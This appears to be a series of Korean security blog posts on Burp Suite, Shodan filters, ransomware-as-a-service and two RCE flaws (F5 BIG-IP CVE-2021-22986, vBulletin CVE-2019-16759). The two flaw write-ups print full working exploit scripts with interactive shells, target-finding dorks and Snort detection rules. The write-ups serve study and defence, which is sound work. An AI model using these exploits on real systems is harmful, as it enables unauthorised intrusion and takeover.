버프슈트(Burp Suite)

1. 버프슈트(Burp Suite) - 프록시(Proxy) 서버를 사용하여 클라이언트와 서버가 주고받는 패킷을 가로채 위변조가 가능하게 해주는 프로그램 - 웹 취약점 점검 또는 웹 해킹에 주로 사용 Burp Suite - App

ggonmerr.tistory.com

3.5) Intruder

- 사용자가 정의한 자동화 공격을 수행하기 위한 도구

- 어플리케이션을 테스트할 때 발생하는 모든 종류의 작업을 자동화하는데 사용할 수 있음

- Intercept된 상태에서 우클릭 > Send to Intruder를 선택하거나, Ctrl + I를 누르면 Intruder가 활성화

3.5.1) Positions

- 페이로드 구성 및 공격 유형을 결정하는데 사용

- [캡쳐 1]에서 §,§사이에 페이로드 설정

[캡쳐 1] Positions

- Attack type에는 4가지 유형이 있음

① Sniper : 단일 페이로드 집합이 사용되며, 정의된 각 위치에 차례로 페이로드를 삽입
② Battering ram : 단일 페이로드 집합이 사용되며, 정의된 모든 위치에 동일한 페이로드를 삽입
③ Pitchfork : 단일 이상의 페이로드 집합이 사용되어, 각 정의된 위치의 개수(최대 8개)만큼 사용. 각 페이로드가 정의된 위치에 동시에 삽입.
④ Cluster bomb : 단일 이상의 페이로드 집합이 사용되어, 각 정의된 위치의 개수(최대 8개)만큼 사용. 각 페이로드 집합을 순서대로 반복하여 모든 페이로드의 조합을 테스트.

 

- Payload Positions 영역

① Add § : 페이로드 추가
② Clear § : 모든 페이로드 제거
③ Auto § : 유효한 위치를 추측하여 그에 맞게 페이로드를 배치
④ Refresh : 새로고침

3.5.2) Payloads

- 하나 이상의 페이로드 집합을 구성하는데 사용

- 집합 개수는 Positions 탭에서 설정한 Attack type에 따라 달라짐

① Payload Sets : 하나 이상의 페이로드 집합 정의
② Payload Options : 페이로드로 사용되는 문자열의 단순 목록 구성
③ Payload Processing : 각 페이로드가 사용되기 전 다양한 처리 작업을 수행하는 규칙 정의
④ Payload Encoding : HTTP 요청 내에서 안전한 전송을 위한 URL encoding 설정

[캡쳐 2] Payloads

3.5.3) Resource Pool

- 리소스 할당량을 공유하는 작업 그룹

- 동시에 수행할 수 있는 요청 또는 요청을 수행할 수 있는 빈도 등을 설정

[캡쳐 3] Resource Pool

3.5.4) Options

- 공격에 영향을 미치는 옵션을 구성

① Request Headers : 공격 중에 구성된 request header 업데이트 여부 제어
② Request Engine : 공격 수행 시 HTTP 요청 수행 엔진 제어
③ Attack results : Attack results에 캡처되는 정보 제어
④ Grep - Match : 지정된 표현식이 포함된 결과 항목 플래그 추가 가능
⑤ Grep - Extract : 유용한 정보를 공격 결과 테이블로 추출 가능
⑥ Grep - Payloads : 사용된 페이로드 값이 응답 값에 포함되었는지 여부 결과 항목 플래그 추가
⑦ Redirections : 공격 수행 시 Burp의 Redirection 처리 방법 제어

[캡쳐 4] Options

3.6) Repeater

- HTTP 요청을 재전송하거나 응답을 분석할 때 사용

- Intercept된 상태에서 우클릭 > Send to Repeater를 선택하거나, Ctrl + R을 누르면 Repeater가 활성화

[캡쳐 5] Repeater

① Send : 요청 전송 

② Cancel

③ < / > : 전/후 요청 및 응답 확인

3.7) Sequencer

- 웹 어플리케이션에서 제공하는 값의 임의성을 분석하기 위한 기능

- 분석을 원하는 패킷 우클릭 > Send to Sequencer 선택 시 활성화

3.7.1) Live capture

- 분석을 원하는 패킷 우클릭 > Send to Sequencer 선택 시 Select Live Capture Request에 추가

[캡쳐 6] Live capture

- Token Location Within Response 영역은 어플리케이션의 응답 내에서 토큰이 나타나는 위치를 선택할 수 있음

① Cookie : 응답으로 쿠키가 설정된 경우, 분석할 쿠키 선택 가능
② Form fields : 응답에 HTML 양식 필드가 있는 경우, 분석할 양식 필드 값 선택 가능
③ Custom location : 사용자의 임의로 항목 정의 가능

- Live Capture Options 영역은 라이브 캡처 수행 시 HTTP 요청 및 토큰 수집에 사용되는 엔진을 제어 설정할 수 있음

① Nuber of threads : 실시간 캡처가 동시에 서버에 보낼 수 있는 요청 수
② Throttle between requests : 모든 요청 전 지연 시간 (과부하 방지 or 은밀한 요청에 유용)
③ Ignore token whose length deviates by _ charaters : 지정한 평균 토큰 길이 벗어나는 토큰 무시 설정

- 설정을 완료한 후 Start live capture를 누르면 라이브 캡처가 시작되며, 라이브 캡처 중에는 토큰 수, requests 수 및 네트워크 오류 수를 progress bar로 보여줌

[캡쳐 7] Start live capture

① Pause/Resume : 캡처 일시 중지/재시작
② Stop : 캡처 중지
③ Copy tokens : 현재 캡처된 토큰 클립보드에 복사
④ Save tokens : 현재 캡처된 토큰 파일에 저장
⑤ Auto analyze : 토큰 자동 분석 수행, 라이브 캡처 중 결과 주기적 업데이트
⑥ Analyze now : 최소 100개의 토큰이 캡처되면 Burp가 현재 샘플을 분석 후 결과 업데이트

3.7.2) Manual load

- 이미 생성된 토큰을 불러와 통계 분석을 수행할 수 있음

[캡쳐 8] Manual load

3.7.3) Analysis options

- 토큰에 대한 처리 방법과 분석하는 동안 사용하는 테스트 유형을 설정

- Token Handling은 분석 중 토큰 처리 방법을 제어

① Pad short tokens at Start/End : 각 토큰의 시작/끝 패딩 적용 여부 선택
② Pad with : 패딩에 사용될 문자 지정(보통 "0")
③ Base64-decode before analyzing : 토큰이 Base64 인코딩 된 경우 분석 전 디코딩 설정

- Token Analysis는 문자와 비트 레벨의 테스트에서 수행되는 분석 유형을 제어

[캡쳐 9] Analsis options

3.8) Decoder

- 데이터 암/복호화 및 해시 형식으로 변환

- 데이터 우클릭 > Send to Decoder 클릭 시 활성화

- 값 입력 후 우측 Decode as 등을 통해 암/복호화가 가능하며, Smart decode는 인코딩 값을 찾아 자동적으로 디코딩하는 옵션

[캡쳐 10] Decoder

3.9) Comparer

- 두 데이터 간 비교를 수행

- 복사/붙여넣기, 파일 로드, Send to Comparer를 통해 활성화

- 비교할 데이터 선택 후 Words(단어 수준의 차이), Byte(바이트 레벨에 존재하는 차이) 중 비교 형식을 선택하여 비교

[캡쳐 11] Comparer

3.10) Logger

- 버프슈트 로그를 기록

[캡쳐 12] Logger

3.11) Extender

- 자체 또는 타사 코드를 사용하여 기능 확장 가능

3.11.1) Extensions

- 설치된 모든 확장 기능을 확인할 수 있으며, 추가, 제거, 재정렬(Up/Down) 할 수 있음

① Details탭에서 해당 확장 기능 정보를 확인할 수 있고, Extension loaded를 체크하면 확장을 활성화할지 비활성화할지 선택할 수 있음
② Output탭에서 확장 기능의 표준 출력 스트림 세부 사항을 확인할 수 있음
③ Errors탭에서 표준 오류 스트림 정보를 확인할 수 있음

[캡쳐 13] Extensions

3.11.2) BApp Store

- Burp Suite 사용자가 작성한 Burp 확장 기능이며, 사용 가능한 BApps를 확인하여, 설치하여 사용할 수 있음

[캡쳐 14] BApp Store

3.11.3) APIs

- Burp 확장 기능을 개발하는 데 사용할 수 있는 API에 대한 세부 정보를 확인 가능
- 실행 중인 Burp 버전에서 사용할 수 있는 API 정보가 표시되어 있음

- Save interface files/Save Javadoc files는 확장 기능을 개발할 때 사용할 수 있도록 코드를 로컬 사본으로 저장하는 기능

[캡쳐 15] APIs

3.11.4) Options

- 확장 설정, Java 환경, Python 환경, Ruby 환경에 대한 설정 옵션

① Settings - 시작 시 확장을 어떻게 처리할 것인지 설정
(시작 시 자동으로 재로드할 것인지, BApp 자동으로 업데이트할 것인지)
② Java environment - Java로 작성된 확장 기능 실행을 위한 환경 구성 설정
확장 프로그램에서 라이브러리를 사용하는 경우 라이브러리를 로드할 폴더를 지정할 수 있음
③ Python environment - Python으로 작성된 확장 기능 실행을 위한 환경 구성 설정
Python 확장 기능을 사용하려면 Jython*을 다운로드 받고 경로를 설정해야 함.
Jython* : Java로 구현된 Python 인터프리터
④ Ruby environment - Ruby로 작성된 확장 기능 실행을 위한 환경 구성 설정
Ruby 확장 기능을 사용하려면 JRuby*를 다운로드 받고 경로를 설정해야 함
JRuby* : Java로 구현된 Ruby 인터프리터

[캡쳐 16] Options

 

참고

 

Burp Suite tools

Burp Suite contains various tools for performing different testing tasks. The tools operate effectively together, and you can pass interesting requests ...

portswigger.net

 

버프스위트(Burpsuite) 기능 활용

ி Repeater HTTP 요청을 재전송, 응답을 분석 할 때 사용한다. Intercept된 상태에서 우클릭 > Repeater를 선택하거나 Ctrl + R을 누르면 Repeater가 활성화된다. Repeater 탭으로 이동해서 send 버튼을 눌러 요..

jdh5202.tistory.com

 

 

0. Burp Suite 설치 및 사용방법

<목차> 0. 다운로드 1. 실행 2. Burp Suite 기본 설정 3. Burp Suite 기능  # Dashboard  # Target  # Proxy  # Intruder  # Repeater  # Sequencer  # Decoder  # Comparer  # Extender 4. Reference 0...

grini25.tistory.com

'도구 > 네트워크' 카테고리의 다른 글

버프슈트(Burp Suite)  (1) 2022.09.26
쇼단(Shodan)  (1) 2022.09.25
와이어샤크(WireShark)  (0) 2022.07.26
스노트(Snort)  (0) 2022.07.19

1. 버프슈트(Burp Suite)

- 프록시(Proxy) 서버를 사용하여 클라이언트와 서버가 주고받는 패킷을 가로채 위변조가 가능하게 해주는 프로그램

- 웹 취약점 점검 또는 웹 해킹에 주로 사용

 

Burp Suite - Application Security Testing Software

Get Burp Suite. The class-leading vulnerability scanning, penetration testing, and web app security platform. Try for free today.

portswigger.net

1.1) 프록시(Proxy)

- 사전적 의미는 대리, 대리인
- 클라이언트가 자신을 통해서 다른 네트워크 서비스에 간접적으로 접속할 수 있게 해 주는 컴퓨터 시스템이나 응용 프로그램
- 즉, 클라이언트와 웹 서버 사이에 껴서 데이터를 중계해주는 역할
- 서버와 클라이언트 사이에 중계기로서 대리로 통신을 수행하는 것을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부름

[캡쳐 1] 정상 통신(위)과 Proxy를 이용한 통신(아래)

2. 기본 설정

- 클라이언트와 서버를 오가는 패킷을 캡쳐하기 위해 버프스튜와 브라우저에 Proxy 설정을 해주어야 함

- 8080 포트를 다른 서비스가 사용하고 있는 경우 다른 포트로 변경

- 최근 IE EoS로 다른 브라우저 사용 권장

[캡쳐 2] 버프슈트 Proxy 설정
[캡쳐 3] 브라우저 프록시 설정

- Proxy > Intercept  > Open browser를 통해 별도의 프록시 설정 없이도 패킷 캡쳐가 가능함.

[캡쳐 4] Open browser

- 패킷에서 한글이 깨지는 경우가 있는데, 설정된 폰트가 한글을 지원하지 않아 생기는 문제로, User options > Display에서 한글을 지원하는 폰트로 변경.

[캡쳐 5] 폰트 변경

3. 기능

3.1) Dashboard

- 2.x 버전부터 생긴 기능으로, 자동화된 활동을 한 눈에 모니터링 및 제어

[캡쳐 6] Dashboard

3.1.1) Tasks 영역

① New scan은 스캔 키능을 제공하며, Pro 버전에서만 사용이 가능

② 무료버전에서는 New live task를 통해 실시간 크롤링이 가능

3.1.2) Event log 영역

① 작업에 대한 Error, Info 등의 이벤트 로그 기록

3.1.3) Issue activity 영역

① 스캔 활동에 대한 결과가 기록되며, Pro 버전에서만 사용이 가능

 

3.2) Target

- 타겟 어플리케이션에 대한 정보 확인 가능

3.2.1) Site map

- 브라우저에서 방문한 모든 URL이 개별 항목으로 기록되며, 각각의 요청 및 응답에 대한 정보를 확인할 수 있음

- 도메인, 디렉터리, 파일 내용을 계층구조로 보여줌

- 필터를 통해 원하는 콘텐츠만 나타내도록 설정할 수 있음.

- request type 필터를 Show only in-scope items만 설정한 후 Site map에서 원하는 사이트에 마우스 우클릭 > add to scope로 scope를 지정해주면, 지정된 사이트에 대한 정보만 볼 수 있음.

[캡쳐 7] Site map
[캡쳐 8] Filter settings

3.2.2) Scope

- 공격하려는 대상의 범위에 대해 설정 가능

① Include in scope : 범위 내 표시
② Exclude in scope : 범위 내 차단

[캡쳐 9] Scope

- 공격 대상 범위 설정 후 [캡쳐 10]처럼 설정하면, 공격하려는 범위에 대해서만 Intercept할 수 있음.

[캡쳐 10] Is in target scope

3.2.3) Issue definitions

- 버프슈트 스캐너에서 탐지할 수 있는 문제점 목록

[캡쳐 11] Issue definitions

3.4) Proxy

- 가장 많이 활용되는 기능으로, 브라우저와 웹 서버간 모든 요청 및 응답을 가로채 조작할 수 있음

3.4.1) Intercept

- 브라우저와 웹 서버간 HTTP 요청을 가로채 표하며, 요청을 조작할 수 있음

① Forward : 요청/응답 조작 후 브라우저/웹 서버로 전송
② Drop : 메시지 삭제
③ Intercept on/off : Intercept 켜기/끄기
④ Action : 현재 표시된 메시지에 대해 수행할 수 있는 동작 메뉴 표시
⑤ Open Browser : 별도의 프록시 설정 없이 Intercept 가능한 브라우저 열기
⑥ inspector : 현재 표시된 메시지에 대한 정보 표시

[캡쳐 12] Intercept

3.4.2) HTTP history

- 버프슈트를 통과한 모든 요청 및 응답에 대한 기록이 저장

- 패킷을 선택해 요청 및 응답 메시지 확인, 필터링 및 주석 설정 가능

[캡쳐 13] HTTP history

3.4.3) WebSockets history

- 버프슈트를 통과한 모든 WebSockets 메시지에 대한 기록이 저장

- 패킷을 선택해 요청 및 응답 메시지 확인, 필터링 및 주석 설정 가능

[캡쳐 14] WebSockets history

3.4.5) Options

- Proxy listeners, HTTP 요청/응답 인터셉트, WebSocket 메세지 인터셉트, 응답 수정, 일치 및 교체, TLS 통과, 기타 옵션 설정 가능

[캡쳐 15] Options

① Proxy listeners - listeners 중 하나를 프록시 서버로 사용하도록 설정할 수 있음 (Burp Proxy는 listeners를 사용하여 브라우저의 HTTP 요청을 수신한다.)
② Intercept Client Requests - 클라이언트 요청 메세지 인터셉트에 대한 규칙을 지정할 수 있음
③ Intercept Server Responses - 서버 응답 패킷 인터셉트에 대한 규칙을 지정할 수 있음
④ Intercept WebSockets Messages - WebSocket 메세지의 인터셉트 여부를 개별적으로 설정할 수 있음
⑤ Response Modification - 자동 응답 수정을 통해 다양한 작업을 수행할 수 있음
⑥ Match and Replace - Proxy를 통해 전달되는 요청 및 응답의 일부를 자동으로 변경하는 데 사용
⑦ TLS Pass Through - TLS 연결을 통해 직접 전달할 대상 웹 서버를 지정하는 데 사용
⑧ Miscellaneous - Proxy 동작의 특정 세부 정보를 제어하는 옵션을 설정할 수 있음

 

 

 

버프슈트(Burp Suite) #2

버프슈트(Burp Suite) 1. 버프슈트(Burp Suite) - 프록시(Proxy) 서버를 사용하여 클라이언트와 서버가 주고받는 패킷을 가로채 위변조가 가능하게 해주는 프로그램 - 웹 취약점 점검 또는 웹 해킹에 주

ggonmerr.tistory.com

'도구 > 네트워크' 카테고리의 다른 글

버프슈트(Burp Suite) #2  (0) 2022.09.26
쇼단(Shodan)  (1) 2022.09.25
와이어샤크(WireShark)  (0) 2022.07.26
스노트(Snort)  (0) 2022.07.19

1. 쇼단(Shodan)

- 2009년 스위스 출신 프로그래머 존 매덜리(John Matherly)에 의해 개발

- 사용자가 다양한 필터를 사용해 인터넷에 연결된 다양한 유형의 서버(웹캠, 라우터, 서버 등)를 검색할 수 있는 검색 엔진

- 라우터, 스위치, FTP, 특정 웹 서버 등에 대한 정보를 수집 및 결과를 보여줌

- 보안 취약점을 가진 시스템을 찾아내어, 보안을 강화하기 위한 수단으로 개발

2. 필요성 및 목적

- 근본적인 기능은 IoT 보안을 강화하기 위해 그 취약점을 찾아내는 것

- 쇼단을 통해 자신이 관리하는 장비와 서비스의 보안 취약성을 파악

- 보안과 관련된 다양한 자료를 제공하고 전문가들을 보고서를 발행

- 특정 익스플로잇에 취약한 디바이스를 검색 : 취약한 장치를 찾는데 도움이 되지만, 해커도 쇼단을 사용하여 공격 대상에 대한 정보를 획득할 수 있음.

3. 검색필터

필터 설명 예시
city 입력한 도시에서의 검색 결과 linux city:"seoul"
country 입력한 나라에서의 검색 결과 wordpress country:"kr"
geo 입력한 위도/경도 좌표 근처의 검색 결과 apache geo:37.123456,127.123456
hostname 입력한 호스트 네임이 포함되는 결과 Server:"gws" hostname:"google"
net 입력한 클래스에 맞는 검색 결과 cisco net 127.0.0.1/24
os 입력한 os를 포함하는 정보 os:"ubuntu"
port 입력한 포트와 일치하는 검색결과 port:"8080"
before/after 입력한 날짜 전/후의 검색 결과 apache before:12/03/2017 after:11/03/2017
title HTML 의 title과 일치하는 정보 검색 title:"naver.com"
html HTML의 모든 소스 코드 중에서 해당 단어를 포함한 것을 검색 html:"ebay"
product 소프트웨어나 제품의 이름을 기준으로 검색 product:"cisco"
org 해당 기관을 포함한 검색 결과 webcam org:"korea telecom"
asn Asn(autonomous system number)을 기준으로 검색 asn:AS6846
category 카테고리 기준으로 검색. 사용가능한 카테고리는 ics와 malware category:"ics"
has_ipv6 검색 결과에 ipv6의 포함 여부를 true, false로 결정 has_ipv6:true
has_screenshot 검색 결과에 screenshot포함여부를 true, false로 결정 has_screenshot:true
ip 넷필터명을 기준으로 검색  
isp IPS를 기준으로 검색  
postal 우편번호를 기준으로 검색(미국에만 해당)  
region 주 이름을 기준으로 검색  
version 제품 버전을 기준으로 검색 apache version:2.4.10
vuln 취약점 CVE ID를 기준으로 검색  

 

'도구 > 네트워크' 카테고리의 다른 글

버프슈트(Burp Suite) #2  (0) 2022.09.26
버프슈트(Burp Suite)  (1) 2022.09.26
와이어샤크(WireShark)  (0) 2022.07.26
스노트(Snort)  (0) 2022.07.19

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

[캡쳐 1] 쇼단 F5 BIG-IP 검색 화면

2. CVE-2021-22986

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2021-22986

- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점
- 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능

[캡쳐 3] https://support.f5.com/csp/article/K03009991

2.1) 취약점 분석

- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음.
- 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송
- 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음
- 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.

* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin
* X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인
사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.

2.2) PoC

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])

[캡쳐 4] https://twitter.com/1zrr4h/status/1373206181955653632

3. 대응방안

- 최신 버전으로 업데이트

[캡쳐 5] 업데이트 코드(인증 우회 방지)

- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용
Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등

참고

CVE-2021-22986 (iControl REST unauthenticated remote command execution vulnerability)

#CVE #Exploit #F5 #BIG_IP #Security □ 주요 내용 / Main contents F5 BIG-IP : 로컬 ...

blog.naver.com

K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986 | AttackerKB

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x …

attackerkb.com

GitHub - jas502n/CVE-2021-22986-f5-ssrf-rce: CVE-2021-22986 & F5 BIG-IP RCE

CVE-2021-22986 & F5 BIG-IP RCE. Contribute to jas502n/CVE-2021-22986-f5-ssrf-rce development by creating an account on GitHub.

github.com

'취약점 > RCE' 카테고리의 다른 글

Spring Cloud Function RCE (CVE-2022-22963)  (0) 2022.11.15
Apache Struts 2 Namespace RCE (CVE-2018-11776)  (1) 2022.09.29
vBulletin Pre-Auth RCE(CVE-2019-16759)  (0) 2022.09.20
Bash Shell Shock(CVE-2014-6271)  (2) 2022.09.13
bWAPP PHP Code Injection  (0) 2022.07.29

1.vBulletin

- MH Sub I, LLC에서 판매 하는 독점 인터넷 포럼 소프트웨어 패키지
- PHP 로 작성되었으며 MySQL 데이터베이스 서버를 사용

[캡쳐 1] 쇼단 vBulletin 검색 화면

2. CVE-2019-16759

[캡쳐 2] https://nvd.nist.gov/vuln/detail/cve-2019-16759

- NVD를 통해 해당 CVE를 확인하면 취약한 버전의 vBulletin에 조작된 요청을 통해 원격 명령 실행이 가능함.

취약한 버전 : vBulletin 5.x ~ 5.5.4
원인 : ajax의 widgetConfig[code] 매개변수를 통해 원격 명령 실행을 허용

 

2.1) 취약점 분석

- 공격자가 조작된 요청을 보낼 경우 취약한 버전의 vBulletin의 동작 순서는 [캡쳐 3]과 같음.

- [캡쳐 3]의 ⑦ 과정을 통해 검증 및 인증 과정 없이 eval() 함수를 동작 시켜 결과를 반환하는 것을 확인할 수 있음.

[캡쳐 3] 동작 과정

2.2) PoC

 

Full Disclosure: vBulletin 5.x 0day pre-auth RCE exploit

 

seclists.org

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

 

[캡쳐 4] 취약점 결과 (https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

3. 대응방안

- 보안 패치 적용 (2019/09/25 release)

5.5.2 패치 레벨 1
5.5.3 패치 레벨 1
5.5.4 패치 레벨 1

참고 : https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4422707-vbulletin-security-patch-released-versions-5-5-2-5-5-3-and-5-5-4

 

- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단

<Snort Rule 예시>
alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)

1. 서비스형 랜섬웨어(RaaS : Ransomware as a Service)

- 랜섬웨어 주문 제작 대행 서비스.

- 다크웹 등 익명 네트워크를 이용해 비용만 지급하면 랜섬웨어 공격을 할 수 있게끔 서비스 형태로 제공되는 랜섬웨어

- 랜섬웨어는 전문적인 IT 관련 능력이 필요한 기술 장벽이 높은 범죄였으나, RaaS의 등장으로 진입 장벽이 낮아짐.

- 사이버 보안 기업 IB(Group-IB)에 따르면 2020년 발생한 랜섬웨어 공격 중 64%(전체의 2/3) 가량이 RaaS 범죄 유형으로 추정된다고 밝힘

[캡쳐 1] RaaS 구조 (<랜섬웨어 대응 관계부처 합동 자료> 발췌)

2. 공격 과정

랜섬웨어 구매 의뢰 공격자는 제작자에게 랜섬웨어 구매 의뢰
랜섬웨어 제공 제작자는 공격자에게 랜섬웨어 제공
공격 수행 공격자는 피해자에게 랜섬웨어 유포 및 감염 후 복호화를 대가로 비트코인 등 금전 요구
금전 지불 피해자는 복호화 키를 받는 대가로 공격자가 요구한 금전 등 대가 지급
수익금 분배 제작자, 공격자 등이 수익금을 일정 비율로 분배
사후 관리 지속적인 공격이 가능하도록 랜섬웨어 업데이트 및 서비스 지원

3. 특징

분업화 제작자와 공격자가 따로 존재
수익분배 랜섬웨어 공격 성공 후 얻게 되는 수익금을 일정비율로 제작자와 공격자가 나누어 가짐
사후관리 랜섬웨어 제공부터 지속적인 공격이 가능하도록 업데이트, 공격 진행 사항 추적 서비스 등 사후관리 제공
*케르베르 제작자는 2016년 한 해 동안 10번이 넘는 업데이트 진행

4. 사례

케르베르
(Cerber)
- 2016년 3월 처음 발견
- 파일과 데이터 암호화 후 음성으로 피해자에게 금전 요구
- 무작위 숫자+영문자를 포함한 4글자 확장자로 파일 암호화
- 랜섬웨어를 통한 수익의 40%를 제작자와 공유
- 2016년 KISA에 접수된 랜섬웨어 피해사례 중 52% 차지
사탄
(Satan)
- 제작자는 별도의 비용 없이 공격자에게 랜섬웨어 코드 제공
- 사용자 PC의 파일을 .stn 확장자로 암호화
- 랜섬웨어를 통한 수익의 30%를 제작자와 공유
스템파도
(Stampado)
- 2016년 7월 처음 발견
- 39달러를 받고 공격자에게 악성코드 제공
- 안티바이러스 제품의 탐지망을 피하는 기능 보유
- 다른 랜섬웨어에 의해 암호화 된 파일을 재암호화하는 방식이 적용
필라델피아
(Philadelphia)
- 2016년 9월 처음 발견
- 스템파도의 변형으로 알려짐
- 오토잇(AutoIt) 스크립트 언어를 통해 제작 가능
- 상용 제작툴을 이용해 암호화할 확장자 등 설정가능
- 선다운(sundown) 익스플로잇킷을 통해 국내 유포
샤크
(Shark)
- 2016년 8월 처음 발견
- 워드프레스를 이용해 랜섬웨어 정보를 제공
- 랜섬웨어를 통한 수익의 20%를 제작자와 공유
아톰
(Atom)
- 2016년 9월 처음 발견
- 샤크의 변형으로 샤크의 제작자가 제작한 것으로 알려짐
- 랜섬웨어를 통한 수익의 20%를 제작자와 공유

5. 대응방안

- 기존 랜섬웨어 대응방안과 동일

- 아래 글 4.대응방안 참고

 

랜섬웨어 #1 개요

1. 랜섬웨어(RansomWare)란? - Ransom(몸값) + Ware(제품) = RansomWare - 감염시 컴퓨터 시스템에 접근이 제한되거나 저장된 파일이 암호화되어 사용할 수 없게 되며, 해커는 이에 대한 대가로 금품을 요구 -

ggonmerr.tistory.com

'랜섬웨어 > 기본' 카테고리의 다른 글

랜섬웨어 #1 개요  (0) 2022.08.24
개요 - 개인정보 보호법을 위반한 구글과 메타에 대해 시정명령과 약 1,000억 원의 과징금이 부과
- 사유 : 이용자 동의 없이 개인정보(이용자의 타사 행태정보)를 수집해 온라인 맞춤형 광고에 활용
- 온라인 맞춤형 광고 플랫폼의 행태정보 수집·이용과 관련된 첫 번째 제재이자, 개인정보보호 법규 위반으로는 가장 큰 규모의 과징금

*행태정보 : 웹사이트 및 앱 방문·사용 이력, 구매·검색 이력 등 이용자의 관심, 흥미, 기호 및 성향 등을 파악·분석할 수 있는 온라인상의 활동정보
조사 결과 - 2021. 2월부터 국내외 주요 온라인 맞춤형 광고 플랫폼의 행태정보 수집·이용 실태를 점검
- 특히 플랫폼이 ‘이용자(회원)가 다른 웹사이트 및 앱을 방문·사용한 행태정보(타사 행태정보)를 수집하여 맞춤형 광고 등에 활용하는 과정에서 적법한 동의를 받았는지 여부’를 중점 조사

- 조사결과, 구글과 메타는 자사 서비스 이용자의 타사 행태정보를 수집·분석해 이용자의 관심사를 추론, 맞춤형 광고 등에 사용 및 그 사실을 이용자에게 명확히 알리지 않고 사전에 동의도 받지 않은 것이 확인
